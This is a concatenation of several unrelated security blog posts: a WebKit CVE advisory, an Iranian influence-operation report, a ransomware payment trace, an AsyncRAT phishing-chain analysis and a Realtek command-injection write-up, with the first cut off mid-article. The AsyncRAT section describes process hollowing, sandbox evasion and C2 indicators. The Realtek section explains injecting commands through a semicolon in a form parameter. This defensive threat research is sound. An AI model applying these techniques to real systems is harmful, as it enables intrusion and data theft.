Its exploitation allows the attacker to create malicious web content, the processing of which can lead to arbitrary code execution on the victim’s device.
Simply put, the most likely attack scenario is an infection of an iPhone or iPad device after visiting a malicious web page.
Which devices and apps are vulnerable to CVE-2022-22620 exploitation Judging by the description of the bug, the vulnerability was found in the WebKit engine used in many applications for macOS, iOS and Linux.
In particular, all browsers for iOS and iPadOS are based on this open source engine — that is, not only iPhone’s default Safari, but also Google Chrome, Mozilla Firefox and any others.
So even if you do not use Safari, this vulnerability still affects you directly.
Apple released updates for iPhones 6s and newer; all models of iPad Pro, iPad Air version 2 and newer, iPad starting with the 5th generation, iPad mini starting with 4th generation, and iPod touch media player starting with the 7th generation.
How to stay safe The patches that Apple released on February 10 changes memory management mechanisms and thus prevents exploitation of CVE-2022-22620.
So in order to protect your device, it should be enough to install iOS 15.3.1 and iPadOS 15.3.1 updates.
Your device needs to be connected to a Wi-Fi network to install the patch.
If your device does not yet show a notification that the update is ready for installation, you can force your system into updating a little bit quicker: go to the system settings yourself (Settings → General → Software update) and check the availability of software updates.
In order to get alerts about the latest cyberthreats directly related to your devices and apps, we recommend using the Kaspersky Security Cloud , available for Windows, macOS, Android and iOS operating systems.
When a new vulnerability in the software you use, or a data leak on the website you visit is discovered, you will get a notification with advice on how to protect yourself.
In May 2019, FireEye Threat Intelligence published a blog post exposing a network of English-language social media accounts that engaged in inauthentic behavior and misrepresentation that we assessed with low confidence was organized in support of Iranian political interests.
Personas in that network impersonated candidates for U.S. House of Representatives seats in 2018 and leveraged fabricated journalist personas to solicit various individuals, including real journalists and politicians, for interviews intended to bolster desired political narratives.
Since the release of that blog post, we have continued to track activity that we believe to be part of that broader operation, reporting our findings to our intelligence customers using the moniker “Distinguished Impersonator.”
Today, Facebook took action against a set of eleven accounts on the Facebook and Instagram platforms that they shared with us and, upon our independent review, we assessed were related to the broader Distinguished Impersonator activity set we’ve been tracking.
We separately identified a larger set of just under 40 related accounts active on Twitter against which Twitter has also taken recent enforcement action.
In this blog post, we provide insights into the recent activity and behavior of some of the personas in the Distinguished Impersonator network, in order to exemplify the tactics information operations actors are employing in their attempts to surreptitiously amplify narratives and shape political attitudes.
Activity Overview Personas in the Distinguished Impersonator network have continued to engage in activity similar to that we previously reported on publicly in May 2019, including social media messaging directed at politicians and media outlets; soliciting prominent individuals including academics, journalists, and activists for “media” interviews; and posting what appear to be videoclips of interviews of unknown provenance conducted with such individuals to social media.
The network has also leveraged authentic media content to promote desired political narratives, including the dissemination of news articles and videoclips from Western mainstream media outlets that happen to align with Iranian interests, and has amplified the commentary of real individuals on social media.
Outside of impersonating prominent individuals such as journalists, other personas in the network have primarily posed as U.S. liberals, amplifying authentic content from other social media users broadly in line with that proclaimed political leaning, as well as material more directly in line with Iranian political interests, such as videoclips of a friendly meeting between U.S. President Trump and Crown Prince of Saudi Arabia
Mohammad Bin Salman accompanied by pro-U.S. Democrat commentary, videoclips of U.S. Democratic presidential candidates discussing Saudi Arabia's role in the conflict in Yemen, and other anti-Saudi, anti-Israeli, and anti-Trump messaging.
Some of this messaging has been directed at the social media accounts of U.S. politicians and media outlets (Figure 1).
Figure 1: Twitter accounts in the Distinguished Impersonator network posting anti-Israeli, anti-Saudi, and anti-Trump content
We observed direct overlap between six of the personas operating on Facebook platforms and those operating on Twitter.
In one example of such overlap, the “Ryan Jensen” persona posted to both Twitter and Instagram a videoclip showing antiwar protests in the U.S. following the killing of Qasem Soleimani, commander of the Islamic Revolutionary Guards Corps’ Quds Force (IRGC-QF) by a U.S. airstrike in Baghdad in January 2020 (Figure 2).
Notably, though the strike motivated some limited activity by personas in the network, the Distinguished Impersonator operation has been active since long before that incident.
Figure 2:
Posts by the “Ryan Jensen” persona on Twitter and Instagram disseminating a videoclip of antiwar protests in the U.S. following the killing of Qasem Soleimani Accounts Engaged in Concerted Replies to Influential Individuals on Twitter, Posed as Journalists and Solicited Prominent Individuals for “Media” Interviews Personas on Twitter that we assess to be a part of the Distinguished Impersonator operation engaged in concerted replies to tweets by influential individuals and organizations, including members of the U.S. Congress and other prominent political figures, journalists, and media outlets.
The personas responded to tweets with specific narratives aligned with Iranian interests, often using identical hashtags.
The personas sometimes also responded with content unrelated to the tweet they were replying to, again with messaging aligned with Iranian interests.
For example, a tweet regarding a NASA mission received replies from personas in the network pertaining to Iran’s seizure of a British oil tanker in July 2019.
Other topics the personas addressed included U.S.-imposed sanctions on Iran and U.S. President Trump’s impeachment (Figure 3).
While it is possible that the personas may have conducted such activity in the hope of eliciting responses from the specific individuals and organizations they were replying to, the multiple instances of personas responding to seemingly random tweets with unrelated political content could also indicate an intent to reach the broader Twitter audiences following those prominent accounts.
Figure 3:
Twitter accounts addressing U.S.-imposed sanctions on Iran (left) and the Trump impeachment (right)
Instagram accounts that we assess to be part of the Distinguished Impersonator operation subsequently highlighted this Twitter activity by posting screen recordings of an unknown individual(s) scrolling through the responses by the personas and authentic Twitter users to prominent figures’ tweets.
The Instagram account @ryanjensen7722, for example, posted a video scrolling through replies to a tweet by U.S.
Senator Cory Gardner commenting on “censorship and oppression.”
The video included a reply posted by @EmilyAn1996, a Twitter account we have assessed to be part of the operation, discussing potential evidence surrounding President Trump’s impeachment trial.
Figure 4:
Screenshot of video posted by @ryanjensen7722 on Instagram scrolling through Twitter replies to a tweet by U.S.
Senator Cory Gardner We also observed at least two personas posing as journalists working at legitimate U.S. media outlets openly solicit prominent individuals via Twitter, including Western academics, activists, journalists, and political advisors, for interviews (Figure 5).
These individuals included academic figures from organizations such as the Washington Institute for Near East Policy and the Foreign Policy Research Institute, as well as well-known U.S. conservatives opposed to U.S. President Trump and a British MP.
The personas solicited the individuals’ opinions regarding topics relevant to Iran’s political interests, such as Trump’s 2020 presidential campaign, the Trump administration’s relationship with Saudi Arabia, Trump’s “deal of the century,” referring to a peace proposal regarding the Israeli-Palestinian conflict authored by the Trump administration, and a tweet by President Trump regarding former UK Prime Minister Theresa May.
Figure 5: The “James Walker” persona openly soliciting interviews from academics and journalists on Twitter Twitter Personas Posted Opinion Polls To Solicit Views on Topics Relevant to Iranian Political Interests Some of the personas on Twitter also posted opinion polls to solicit other users’ views on political topics, possibly for the purpose of helping to build a larger follower base through engagement.
One account, @CavenessJim, posed the question: “Do you believe in Trump’s foreign policies especially what he wants to do for Israel which is called ‘the deal of the century’?”
(The poll provided two options: “Yes, I do.”
and “No, he cares about himself.”
Of the 2,241 votes received, 99% of participants voted for the latter option, though we note that we have no visibility into the authenticity of those “voters”.)
Another account, @AshleyJones524, responded to a tweet by U.S.
Senator Lindsey Graham by posting a poll asking if the senator was “Trump’s lapdog,” tagging seven prominent U.S. politicians and one comedian in the post; all 24 respondents to the poll voted in the affirmative.
As with the Instagram accounts’ showcasing of replies to the tweets of prominent individuals, Instagram accounts in the network also highlighted polls posted by the personas on Twitter (Figure 6).
Figure 6: Twitter account @CavenessJim
posts Twitter poll (left); Instagram account @ryanjensen7722 posts video highlighting @CavenessJim's Twitter poll (right)
Videoclips of Interviews with U.S., U.K., and Israeli Individuals Posted on Iran-Based Media Outlet Tehran Times Similar to the personas we reported on in May 2019, some of the more recently active personas posted videoclips on Facebook, Instagram, and Twitter of interviews with U.S., UK, and Israeli individuals including professors, politicians, and activists expressing views on topics aligned with Iranian political interests (Figure 7).
We have thus far been unable to determine the provenance of these interviews, and note that, unlike some of the previous cases we reported on in 2019, the personas in this more recent iteration of activity did not themselves proclaim to have conducted the interviews they promoted on social media.
The videoclips highlighted the interviewees’ views on issues such as U.S. foreign policy in the Middle East and U.S. relations with its political allies.
Notably, we observed that at least some of the videoclips that were posted by the personas to social media have also appeared on the website of the Iranian English-language media outlet Tehran Times , both prior to and following the personas' social media posts.
In other instances, Tehran Times published videoclips that appeared to be different segments of the same interviews that were posted by Distinguished Impersonator personas.
Tehran Times is owned by the Islamic Propagation Organization, an entity that falls under the supervision of the Iranian Supreme Leader Ali Khamenei.
Figure 7: Facebook and Instagram accounts in the network posting videoclips of interviews with an activist and a professor Conclusion The activity we’ve detailed here does not, in our assessment, constitute a new activity set, but rather a continuation of an ongoing operation we believe is being conducted in support of Iranian political interests that we’ve been tracking since last year.
It illustrates that the actors behind this operation continue to explore elaborate methods for leveraging the authentic political commentary of real individuals to furtively promote Iranian political interests online.
The continued impersonation of journalists and the amplification of politically-themed interviews of prominent individuals also provide additional examples of what we have long referred to internally as the “media-IO nexus”, whereby actors engaging in online information operations actively leverage the credibility of the legitimate media environment to mask their activities, whether that be through the use of inauthentic news sites masquerading as legitimate media entities , deceiving legitimate media entities in order to promote desired political narratives , defacing media outlets’ websites to disseminate disinformation, spoofing legitimate media websites, or, as in this case, attempting to solicit commentary likely perceived as expedient to the actors’ political goals by adopting fake media personas.
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The Front Line Applied Research & Expertise (FLARE) team is honored to announce that the popular Flare-On challenge will return for a triumphant seventh year.
Ongoing global events proved no match against our passion for creating challenging and fun puzzles to test and hone the skills of aspiring and experienced reverse engineers.
The contest will begin at 8:00 p.m.
ET on Sept. 11, 2020.
This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts and security professionals.
The contest runs for six full weeks and ends at 8:00 p.m.
ET on Oct. 23, 2020.
This year’s contest features a total of 11 challenges in a variety of formats, including Windows, Linux, Python, VBA and .NET.
This is one of the only Windows-centric CTF contests out there and we have crafted it to closely represent the challenges faced by our FLARE team on a daily basis.
If you are skilled and dedicated enough to complete the seventh Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment.
Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers.
In previous years we sent out belt buckles, replica police badges, challenge coins, medals and huge pins.
Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice.
For official news and information, we will be using the Twitter hashtag: #flareon7.
Subscribe to Blogs Get email updates as new blog posts are added.
By John Fokker and Christiaan Beek on Oct 14, 2019 Episode 3: Follow the Money
This is the third installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandCrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid 2019.
The Talking Heads once sang “We’re on a road to nowhere.”
This expresses how challenging it can be when one investigates the financial trails behind a RaaS scheme with many affiliates, etc.
However, we persisted, and we prevailed.
By linking underground forum posts with bitcoin transfer traces, we were able to uncover new information on the size of the campaign and associated revenue; even getting detailed insights into what the affiliates do with their earnings following a successful attack.
With the Sodinokibi ransomware a unique BTC wallet is generated for each victim.
As long as no payment is made, no trace of the BTC wallet will be available on the blockchain.
The blockchain operates as a public ledger of all bitcoin transactions that have happened.
When no currencies are exchanged, no transactions are recorded.
Although many victims hit the news, we understand that if they paid, sharing that with the research community is maybe a bridge too far.
On one of the underground forums we discovered the following post: In this post the actors are expanding their successful activity and offering a 60 percent cut as a start and, after three successful payments by the affiliate (read successful ransomware infections and payments received from the victims), the cut increases to 70 percent of the payments received.
This is very common as we saw in the past with RaaS schemes like GandCrab and Cryptowall.
Responding to this post is an actor with the moniker of ‘Lalartu’ and his comments are quite interesting, hinting he was involved with GandCrab.
As a site-note: “Lalartu’ means ‘ghost/phantom’.
Its origins are from the Sumerian civilization where Lalartu was seen as a vampiric demon.
Researching the moniker of ‘Lalartu’ through our data, we went back in time a month or so and discovered a posting from the actor on June 4 th of 2019, again referencing GandCrab.
We observe here a couple of transaction IDs (TXID) on the bitcoin ledger, however they are incomplete.
More than a week later, on June 17 th , 2019, “Lalartu” posted another one with an attachment to it:
In this posting we see a screenshot with partial TXIDs and the amounts.
With the help of the Chainalysis software and team, we were able to retrieve the full TXIDs.
With that list we were able to investigate the transactions and start mapping them out with their software: From the various samples we have researched, the amounts asked for payment are between 0.44 and 0.45 BTC, an average of 4,000 USD.
In the above screenshot we see the transactions where some of these amounts are transferred from a wallet, or bitcoins are bought at an exchange and transferred to the wallets associated with the affiliate(s).
Based on the list shared by Lalartu in his post, and the average value of bitcoin around the dates, within 72 hours a value of 287,499.00 USD of ransom had been transferred.
Taking the list of transactions as a starting point in our graph-analysis, we colored the lines red and started from there to investigate the wallets involved and interesting transactions: Although it might look like spaghetti, once you dive in, very interesting patterns can be discovered.
We see victims paying to their assigned wallets; from there it takes an average of two to three transactions before it goes to an ‘affiliate’ or ‘distribution’ wallet.
From that wallet we see the split happening as the moniker ‘UNKN’ mentioned in his forum post we started this article with.
The 60 or 70 percent stays with the affiliate and the remaining 40/30 percent is forwarded in multiple transactions towards the actors behind Sodinokibi.
Once we identified a couple of these transactions, we started to dig in both directions.
What is the affiliate doing with the money and where is the money going for the Sodinokibi actors?
We picked one promising affiliate wallet and started to dig deeper down and followed the transactions.
As described above, the affiliate is getting money transferred mostly through an exchange (since this is being advised by the actors in the ransom note).
This is what we see in the example below.
Incoming ransomware payments via Coinbase.com are received.
The affiliate seems to pay some fee to a service but also sends BTC into Bitmix.biz a popular underground bitcoin mixer that is obfuscating the next transactions to make it difficult to link the transactions back to the ‘final’ wallet or cash-out in a (crypto) currency.
We also observed examples where the affiliates were paying for services, they bought on Hydra Market.
Hydra Market is a Russian underground marketplace where many services and illegal products are offered with payment in BTC.
Tracing down the route of splits, we started to search for the 30 or 40 percent cuts of the ransom payments of 0.27359811 BTC or, if the price was doubled, 0.54719622 BTC.
Using the list of amounts and querying the transactions and transfers discovered, we observed a wallet that was receiving a lot of these smaller payments.
Due to ongoing research we will not publish the wallet but here is a graph representation of a subset of transactions: It seems like a spider, but many incoming ‘split’ transfers, and only a few outgoing ones with larger amounts of bitcoins, were observed.
If we take the average of $2,500 – $5,000 USD as a ransom ask, and the mentioned split of 30/40 percent for the actor maintaining the Sodinokibi ransomware and affiliate infrastructure, they make $700 – $1,500 USD per paid infection.
We already saw in the beginning of this article that the affiliate Lalartu claimed to have made 287k USD in 72 hours, which is an 86k USD profit for the actor from one affiliate only.
In episode 2, The All-Stars , we explained how the structure is setup and how each affiliate has its own id.
As far as we tracked the samples and extracted the amount of id-numbers, we counted over 41 affiliates being active.
The data showed a in a relatively short amount of time the velocity and number of infections was high.
Taken this velocity combined with a few payments per day, we can imagine that the actors behind Sodinokibi are making a fortune.
Following the traces of one particular affiliate, we ended up seeing large amounts of bitcoins being transferred into a wallet which had a total value of 443 BTC, around 4,5 million USD with the average bitcoin price.
We do understand that there are situations in which executives decide to pay the ransom but, by doing that, we keep this business model alive and also fund other criminal markets.
Conclusion In this blog we focused on insights into the financial streams behind ransomware.
By linking underground forum posts with bitcoin transfer traces, we were able to uncover new information on the size of the campaign and associated revenue.
In some cases, we were able even to get detailed insights into what the affiliates do with their earnings following a “successful” attack.
It shows that paying ransomware is not only keeping the ‘ransom-model’ alive but is also supporting other forms of crime.
In the next and final episode, “Crescendo” McAfee ATR reveals insights gleaned from a global network of honey pots.
Welcome to my first post as a FireEye™ employee!
Many of you have asked me what I think of FireEye's acquisition of Mandiant.
One of the aspects of the new company that I find most exciting is our increased threat intelligence capabilities.
This post will briefly explore what that means for our customers, prospects, and the public.
By itself, Mandiant generates threat intelligence in a fairly unique manner from three primary sources.
First, our professional services division learns about adversary tools, tactics, and procedures (TTPs) by assisting intrusion victims.
This \"boots on the ground\" offering is unlike any other, in terms of efficiency (a small number of personnel required), speed (days or weeks onsite, instead of weeks or months), and effectiveness (we know how to remove advanced foes).
By having consultants inside a dozen or more leading organizations every week of the year, Mandiant gains front-line experience of cutting-edge intrusion activity.
Second, the Managed Defense™ division operates our software and provides complementary services on a multi-year subscription basis.
This team develops long-term counter-intrusion experience by constantly assisting another set of customers in a managed security services model.
Finally, Mandiant's intelligence team acquires data from a variety of sources, fusing it with information from professional services and managed defense.
The output of all this work includes deliverables such as the annual M-Trends report and last year's APT1 document , both of which are free to the public.
Mandiant customers have access to more intelligence through our software and services.
As a security software company, FireEye deploys powerful appliances into customer environments to inspect and (if so desired) quarantine malicious content.
Most customers choose to benefit from the cloud features of the FireEye product suite .
This decision enables community self-defense and exposes a rich collection of the world's worst malware.
As millions more instances of FireEye's MVX technology expand to mobile, cloud and data center environments, all of us benefit in terms of protection and visibility.
Furthermore, FireEye's own threat intelligence and services components generate knowledge based on their visibility into adversary software and activity.
Recent examples include breaking news on Android malware, identifying Yahoo!
systems serving malware, and exploring \"cyber arms\" dealers.
Like Mandiant, FireEye's customers benefit from intelligence embedded into the MVX platforms.
Many have looked at the Mandiant and FireEye combination from the perspective of software and services.
While these are important, both ultimately depend on access to the best threat intelligence available.
As a combined entity, FireEye can draw upon nearly 2,000 employees in 40 countries, with a staff of security consultants, analysts, engineers, and experts not found in any other private organization.
Stay tuned to the FireEye and Mandiant blogs as we work to provide an integrated view of adversary activity throughout 2014.
I hope you can attend the FireEye + Mandiant - 4 Key Steps to Continuous Threat Protection webinar on Wednesday, Jan 29 at 2pm ET.
During the webinar Manish Gupta, FireEye SVP of Products, and Dave Merkel, Mandiant CTO and VP of Products will discuss why traditional IT security defenses are no longer the safeguards they once were and what's now needed to protect against today's advanced threats.
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FortiGuard Labs Threat Research Report Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact:
Obtain sensitive data from the victim's device and deliver additional malware Severity level: Critical Introduction to the Spear Phishing Campaign As we are all aware, spear phishing attacks are far more successful than untargeted ones and are most difficult to detect.
The FortiGuard Labs team has identified yet another spear phishing campaign, this one targeting aviation companies.
In this campaign, a malicious link that distributes an AsyncRAT payload is sent to aviation companies with a well-crafted message.
AsyncRAT, an open-source remote administration tool, is used to steal credentials and other sensitive data.
It also includes the capability to upload and download files on the compromised machine.
This blog highlights the various stages of this spear phishing campaign and its newly adapted techniques.
Spear Phishing Campaign Overview
The infection cycle begins with phishing emails sent to aviation companies that contain malicious links disguised as pdf attachments.
The link in the email directs the user to VB Script hosting sites, from which the initial payload (.vbs) is delivered.
The .vbs script then drops the second stage payload, an xml file containing inline C# .NET assembly code that acts as a RAT loader.
The loader hollows and injects the final payload, AsyncRAT, into the victim process (RegSvcs.exe).
AsyncRAT, also known as RevengeRAT, connects to its C2 server, takes control of the compromised machine, and introduces additional payload.
I will now dive into each of these steps in a bit more detail.
Spear Phishing Email Spear phishing is a highly targeted attack resulting from extensive research on targeted users and their organizations conducted by threat actors.
The phishing emails observed in this campaign were sent to multiple aviation companies.
They all appear to be coming from the federal aviation authority using a spoofed sender address that matches with a “foreign operators affairs” email address for enquiries/approvals.
The email goes through the extra step of having a signature and a logo to impersonate a federal authority.
Also, the content is carefully crafted to create a sense of urgency by making it to look like a Reporting of Safety Incident (ROSI) from Air Traffic Control.
In addition, the email contains malicious Google Drive links disguised as a pdf attachment.
Most of the emails in this campaign contain the strings ROSI, AOP, Incident Report, as well as the attachment name “ROSI-AOP Incident Report Details, <date>”.pdf.
(See Mitre ATT&CK technique – Spearphishing Link .)
As of the time of writing this blog, these emails had not been flagged as phishing or suspicious by any of the VirusTotal engines.
The IP address “192.145.239.18” is used to send all the emails in this campaign.
This IP address is also associated with Snip3 Crypter, an aviation-themed campaign seen in April and May of 2021.
A three-month review of its telemetry reveals a spike in the last few weeks, with the majority of visitors coming from the UAE, Canada, Argentina, Djibouti, and Fiji.
Visual Basic Script (VBS)
/Wscript
When you click on the link (the fake pdf attachment), the user’s default browser is launched and directed to a VB Script hosting site.
This site delivers the initial payload (.vbs), which, once executed, drops subsequent payloads and establishes persistence.
The VB script “ROSI-AOP Incident Report Details,May 31st.vbs“ contains the next stage payload, “Good.xml”.
This payload is encoded using Server.
URLEncode() and obfuscated to evade detection.
Antonin Foller's VBS decode function from PSTRUH Software ( http://www.motobit.com ) is used to decrypt the payload.
After decryption, \"Good.xml\" is written to the victim's Temp directory, where it is launched using MSBuild.exe.
If you’re not aware of this executable, it is present on all Windows machines with the .NET framework installed.
It’s a trusted developer utility used to speed up the process of creating .NET applications.
Because it is a trusted utility, adversaries use the tool in an effort to evade detection.
(See Mitre ATT&CK technique – Trusted Developer Utilities Proxy Execution: MSBuild .)
In the script below, the payload bytes are first substituted for de-obfuscation, then decoded before being written to the Temp directory.
XML Once the VB script executes successfully, the Good.xml file, which contains inline C# assembly code, a loader dll, and the RAT payload, is dropped into the victim's Temp directory.
All the files are saved as an ASCII byte array, and the RAT payload is also reversed to avoid signature-based detection.
In this case, the adversary employs the method discovered by Casey Smith to compile and execute the inline C# code using the native Windows binary (MSBuild.exe).
When Good.xml is executed, it first creates a file named \"Startups32.vbs\" in the system startup folder.
The .vbs script contains code to run Good.xml file after each system startup to maintain persistence.
(See Mitre ATT&CK technique – Persistence .)
.NET
RAT Loader
After achieving persistence, Good.xml retrieves the .NET
Rat loader from the byte array and loads it into the current application.
The .NET
RAT loader is contained in the byte array sBytes in the XML, which is loaded using the method Thread.
GetDomain.
Load(sBytes).
The method Thread.
GetDomain() returns the domain of the current running thread, while Load() dynamically loads the byte array assembly into the current application domain during runtime.
The projFUD.dll, available in VirusTotal, is the RAT loader DLL in use.
We observed that a few bytes of the file have been tweaked to avoid hash-based detection.
The description and copyright mentions “VLC MEDIA PLAYER”.
However, the file is not signed.
Although the namespace and class name “ProjFUD.PA” in the loader is same as the one reported in the snip3 campaign, the PDB string retrieved from the loader DLL is different.
It is likely to have come from a different author.
After loading the .NET loader assembly, the function Execute() of the class ProjFUD.PA is called with the arguments payloadBytes (RAT payload) and RegSvcs.exe (the path of the victim process).
The .NET assembly ProjFUD.dll acts as a RunPE loader as it hollows and injects the final payload, AsyncRAT, into the victim process.
RegSvcs, a Windows command line utility for registering .NET
Component Object Model (COM) assemblies, is used by an adversary to hide malicious payload.
RegSvcs.exe is digitally signed by Microsoft and can be used to help bypass a process-based whitelist.
(See Mitre ATT&CK technique – Process Injection: Process Hollowing .)
CreateProcessA is first called to create the victim process RegSvcs.exe in a suspended state, with flags set to 134217732U (0x08000004) (i.e., CREATE_SUSPENDED and CREATE_NO_WINDOW are set to True.)
This process does not run until the thread is resumed.
While the process is suspended, ZwUnmapViewOfSection is called to unmap (hollow) the code from the process memory.
This routine unmaps the entire view of the section containing buffer1 from the virtual address space, and on successful return, the virtual-address region occupied by the view is no longer reserved and available to map other views.
Next, it allocates space for the payload using VirtualAllocEx, with size set to the payload length and page protection to PAGE_EXECUTE_READWRITE (0x40).
It then injects the payload into the allocated space using WriteProcessMemory.
The thread context is changed to point to the payload by calling SetThreadContext and the thread is finally resumed via ResumeThread to execute the payload AsyncRAT.
After successfully injecting and executing the AsyncRAT payload, the loader exits.
AsyncRAT AsyncRAT then takes command and control of the infected machine via a C2 server.
As mentioned in the introduction, the AsyncRAT is an open-source Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection.
It performs a variety of malicious tasks, and if you want to learn more about it, the GitHub AsyncRAT-C-Sharp link can help.
AsyncRAT uses the following anti-analysis techniques to protect itself from being analyzed.
Because Virtual Machines (VM) and sandboxes are used for the majority of dynamic analysis within the security community, many payloads, including this one, will try to evade dynamic analysis.
In this case, the RAT retrieves the manufacturer via the WMI query “Select * from Win32
ComputerSystem” and looks for the strings \"VMware\" and \"VirtualBox”.
It also checks for disk space because sandboxes and virtual machines typically have limited disk space.
In addition, it loads the module SbieDll to detect “sandboxie”, an open-source sandboxing program for Windows.
Lastly, it checks if the process is being debugged by calling IsDebuggerPresent().
(See Mitre ATT&CK technique – Virtualization/Sandbox Evasion .)
The payload also includes a security software discovery technique.
This technique is used to determine which security products are present on the compromised machine to shape the follow-on behaviors.
Below is the command-line query used to enumerate the installed antivirus products.
(See Mitre ATT&CK technique – Defense Evasion .)
Once the information is gathered, it then sends the following information about the infected machine to the C2 RAT server.
(See Mitre ATT&CK technique – Exfiltration Over C2 Channel .)
This RAT hosts resources and additional payloads on Pastebin, an online content hosting service.
In the below code snippet, the RAT client grabs an IP address from the pastebin website using WebClient.
DownloadString() and connects to it.
(See Mitre ATT&CK technique – Acquire Infrastructure: Web Services .)
The AsyncRAT client requests that the RAT server send additional plugins and payloads, which are then executed in memory, as shown below.
It employs a fileless technique to execute payloads in memory, reducing its footprint and avoiding traditional defenses that scan the disk for malicious files.
To maintain its foothold, it installs a scheduled task if the payload is running as an administrator.
The reason it checks for admin rights is that a task created with elevated privileges does not prompt the user to allow execution.
If the payload isn’t running as an administrator, it will add an entry to the Registry Run keys, causing the program to run every time the user logs in.
(See Mitre ATT&CK technique – Persistence .)
Keylogging is the most prevalent type of input capture, and it’s used to steal credentials.
This is done by intercepting the user’s keystrokes using Hooking API callbacks.
This technique works by hooking into the Windows native API functions intended for processing keystroke data, and the callback function is invoked every time the user types something.
(See Mitre ATT&CK technique – Input Capture: Keylogging .)
C2 Server After successfully compromising the victim’s machine, the AsyncRAT payload connects to the RAT C2 server located at “franco.ddns.net” on port 2455 (79.134.225.18:2455).
Since 2019, IP 79.134.225.18 has been linked to AsyncRAT / RevengeRAT, NanoCore, and BotNet attacks.
It is associated with the ISP provider “ The PRIVACYFIRST Project”, which runs multiple VPN services and supports the TOR project.
The C2 domain “franco.ddns.net” used in this campaign is just few weeks old, hence the associated spike.
Conclusion The campaign analyzed in this blog is likely part of Snip3 Crypter-as-a-service, as some of the artifacts (i.e., Sender IP, C2 IP address, and the final payload) are the same.
But this one doesn’t use PowerShell script.
Instead, it employs a new technique to compile and execute inline C# code contained in an XML.
This is yet another example of threat actors quickly adopting and evolving techniques to create more sophisticated and difficult-to-detect attacks.
In addition to the Fortinet protections below, I would encourage you to review the Mitre attack techniques and measure how effective your current security controls are.
Learn more about Mitre Att&CK and how to test your defenses .
Fortinet Protections Fortinet customers are already protected from this RAT variant with FortiGuard’s Web Filtering and AntiVirus services, as follow:
The C2 IP address is rated as \"Malicious\" by the FortiGuard Web Filtering service.
The VB script is detected as “ VBS/Agent.
OQP!tr ” and the xml file is detected as “ VBS/Agent.
AK!tr ”.
The RAT loader and the final payload AsyncRAT are detected as “W32/PossibleThreat”.
The FortiGuard AntiVirus service is supported by FortiGate , FortiMail, FortiClient , and FortiEDR .
The Fortinet AntiVirus engine is a part of each of those solutions as well.
As a result, customers who have these products with up-to-date protections are protected.
FortiEDR’s real time protection detects process hollowing during execution and blocks the RAT from connecting to the C2 server.
Fortinet’s Phishing Simulation Service, FortiPhish, can also be used to proactively test the susceptibility of your organization to these kinds of phishing attacks.
MITRE ATT&CK T1566.002:
Phishing: Spearphishing Link T1059.005:
Command and Scripting Interpreter: Visual Basic T1027: Obfuscated Files T1127.001: Trusted Developer Utilities Proxy Execution: MSBuild T1218.009: Signed Binary Proxy Execution: Regsvcs T1055.012: Process Injection:
Process Hollowing T1547.001: Registry Run Keys / Startup Folder T1056.001: Input Capture: Keylogging T1053.002: Scheduled Task T1041:
Exfiltration Over C2 Channel T1518.001: Security Software Discovery T1497: Virtualization/Sandbox Evasion IOCs Email 34646a93538a34c871e04a368c97637d1b7d1d4507bf210afd9349a61b25b35e ef4b52c8f2c844b76534f583171d03a87cc195b0c3ae32754df0c01177792432 04e93767d16a3e6ca68e45fea23434a9c9ed363c3f0d28b9653f74bbf405ef65 VBS adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8 34914c4af84888552bd7ef74d9a691918013766719881a042723001ef96f554c c16e5de09a78886dc972d26aeb0e9fe760b855eb157c7df308fad2116b860ef7 65d3ff89602db4294fa2f585c472e566a3d72d2065e6bc4f493b02a3b08393ba
4c6f832a85fbcf17308ab923b066577de859571a2743e99bf249398e19a00fb8 0b56c16a28482cc0af81b93aff36d02610e30a8d65d7ea1ccd73f8242effbada 9dd8a6725b9c881311501b79770e4f1c9aee2c3b42f59f7694d48b67939eede5
59aafb3dd9c6cdb95ff662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91 a54f4ee320b21c1cfde3358a25131476127b9fb1fd5cad9fd03fa2be1f4fd0e2 9297b0db717beea397aacf15e7ef081faf3b9e430002a1c1b4e150e56fb940f9 Good.xml E7D60A25BF1D80C144919F5F112594793A12A8176F2000BD890E331234A26814 8938838db8d16708692e80d170e0d8dc1522531e5a5ab5ae878a27a147780f44 b45470aa79cc7acab448a65252c3c7ee840ce6d0e78c40ad2c6bc261a912d393 f9bc8699f18b93cdb4b076dbf6f4baf2befd8c72eb26cefc28086f02a607f2f6 .NET
Loader B0DC46B5FC849DA9CC7A3FC4D8AA5EA8745D7E50869AC689BB956AAB3079EEB9 814f21f8c2befba504e592e3396be7454f93013939325cc7fbad5c38f022b395 AsyncRAT
5344E8B1EF4939A3C9F84921B284DD6E0B98B2CF524D678116BEF6E58DC4A6C3 PDB E:\\Hard
Drives\\Local Disk (C)\\WIN 10 [ October Update ]
FILES\\Sparta Project #Hope\\projFUD\\projFUD\\obj\\Debug\\projFUD.pdb
Malicious IPs 79.134.225.18 (C2) 192.145.239.18 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
As we predicted in last week’s post , threat actors continue to utilize new Realtek vulnerabilities disclosed by IoT Inspector Research Lab to distribute malware.
Starting on August 19 th , Juniper Threat Labs observed a new set of attacks in the wild on IoT firmware built with the Realtek SDK, this time targeting CVE-2021-35395, which was just disclosed on August 16 by IoT Inspector.
(Some of these attacks were previously noted in a SAM Seamless Network blog post .)
These attacks are ongoing.
The Attack
The vulnerabilities in CVE-2021-35395 affect software built with the Realtek Jungle SDK (versions v2.x up to v3.4.14B) that utilize an SDK-provided management interface over HTTP.
Among these vulnerabilities is a command injection on the “formWsc” page caused by a failure to sanitize input.
Upon receiving the peerPin parameter, the server copies the submitted value directly into a shell command string which is then executed: \"iwpriv wlan%d-vxd set_mib pin= %s \" The “%s” (in bold) is replaced by the contents of peerPin.
By adding a semicolon to terminate the iwpriv statement, it is possible to execute arbitrary commands on the device.
